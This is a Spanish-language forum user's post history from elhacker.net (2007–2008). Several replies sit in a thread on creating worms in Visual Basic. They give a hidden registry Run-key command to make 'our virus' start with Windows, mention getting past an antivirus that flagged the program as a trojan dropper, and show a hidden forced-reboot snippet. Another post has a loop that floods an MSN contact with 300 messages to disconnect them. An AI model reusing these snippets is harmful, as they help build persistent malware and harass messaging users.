elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 ... 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [70] 71 72
691  Programación / Programación Visual Basic / Re: creacion de worms en vb en: 2 Enero 2008, 12:04 pm
Entonces si la sutituyes cada vez que la ejecutas no se ve en el admin? Yo lo hacía copiando el exe a windows, y en el codigo comprobaba si el exe existia, si existe es que  la calve ya la é copiado y si no existe lo copio a windows y lo añado. Entonces si la sutituyes cada vez que la ejecutas no se ve en el admin? Porque mi problema fue el KAV con su proactiva, ya que pedia confirmación al añadir info al registro, y el el titulo se podía leer "Trojan.Droper"... :(
Salu2
692  Programación / Programación Visual Basic / Re: creacion de worms en vb en: 2 Enero 2008, 11:47 am
Pues te quedaría asi:
Código:
Shell ("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
NOMBREDENUESTROVIRUS /d Rutadenuestrovirus.exe"),vbhide
Asi se añade al registro y la ventana ms-dos no se ve cuando se ejecuta.
Salu2
693  Programación / Programación Visual Basic / Re: Duda Inicio en: 1 Enero 2008, 22:08 pm
Pues te quedaría así:
Código:
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v (el nombre) /d "(ruta del bat)"
           

Mas información:

                          AÑADIR CLAVE EN EL REGISTRO

REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida

Sacado de la ayuda de la shell
Salu2
694  Programación / Scripting / Re: CERRAR EL NOD32 en: 1 Enero 2008, 21:02 pm
Creo que está bastante claro el aporte de nhaalclkiemr en este foro  ;)
Salu2
695  Programación / Programación Visual Basic / Re: VB6 compatible con Windows vista? en: 1 Enero 2008, 20:04 pm
Si al cargar la dll te da error será que no es compatible, supongo....  :rolleyes:
Salu2
696  Programación / Programación Visual Basic / Re: creacion de worms en vb en: 1 Enero 2008, 18:41 pm
No hace falta poner cmd.exe, ese code puede quedar asi:

Código:
Private Sub Form_Load()
Shell ("shutdown -r -t 30"),vbhide 'esto reinicia el ordenata despues de 30seg y hace que la ventana ms-dos permanezca oculta
End Sub
Salu2
697  Programación / Programación Visual Basic / Re: Esta va para mad o para otro en: 31 Diciembre 2007, 11:13 am
Código:
Dim contacto As IMessengerContact
For Each contacto In messengerapi.Messenger.MyContacts
If contacto.Status <> MISTATUS_OFFLINE Then
    contactos.AddItem contacto.SigninName
End If
Next

'***********DESCONECTAR***********
Private Sub cmddesconectar_click()
Dim i As Integer
Dim x As IMessengerContact
x = txtcontacto.Text
For i = 1 To 300
messengerapi.Messenger.InstantMessage txtcontacto.Text
Clipboard.Clear
Clipboard.SetText textoaenviar.text
SendKeys "^v"
SendKeys "{ENTER}"
If x.Status = MISTATUS_OFFLINE Then
    i = "300"
End If
Next i
DoEvents
End Sub

Si lo haces con la API no da error al no tener la ventana del msn abierta  ;)
Salu2
698  Programación / Programación Visual Basic / Re: Desafios en: 29 Diciembre 2007, 17:04 pm
Bueno, voy a probar aver, creo que es facil de hacer..... ;D
salu2
699  Programación / Programación Visual Basic / Re: [Source] AuTomsn 2.0 Ayuda con dependencias en: 29 Diciembre 2007, 16:55 pm
La función de verificar el exe en la versión 2.5 aún no la he utilizado, pero el problema sigue ahí, solo habia echo la interfaz gráfica y lo d que se carguen los contactos en un listbox:

Código:
messengerapi.Messenger.InstantMessage txtcontacto.Text

Dim contacto As IMessengerContact
For Each contacto In messengerapi.Messenger.MyContacts
If contacto.Status <> MISTATUS_OFFLINE Then
contactos.AddItem contacto.SigninName
End If

Y dejar de utilizar la API es cargarse mi programa. Pero si el problema es de la API, no se puede adjuntar la o las librerías que dan problemas al exe? Porque el código está bien, no tiene fallos, y en mi pc el programa arranca y funciona perfectamente, pero en otras pc's, (que no digo en todas) hai errores, por eso digo que tiene que ser de alguna dll. Alguna solución???
Salu2
700  Programación / Programación Visual Basic / Re: Pa kien todo lo sabe sobre envio de correo desde VB en: 28 Diciembre 2007, 12:51 pm
Yo prefiero utilizar el winsock y enviarlo por smtp, cuando aprenda a utilizarlo claro... ;D
Salu2
Páginas: 1 ... 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [70] 71 72
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines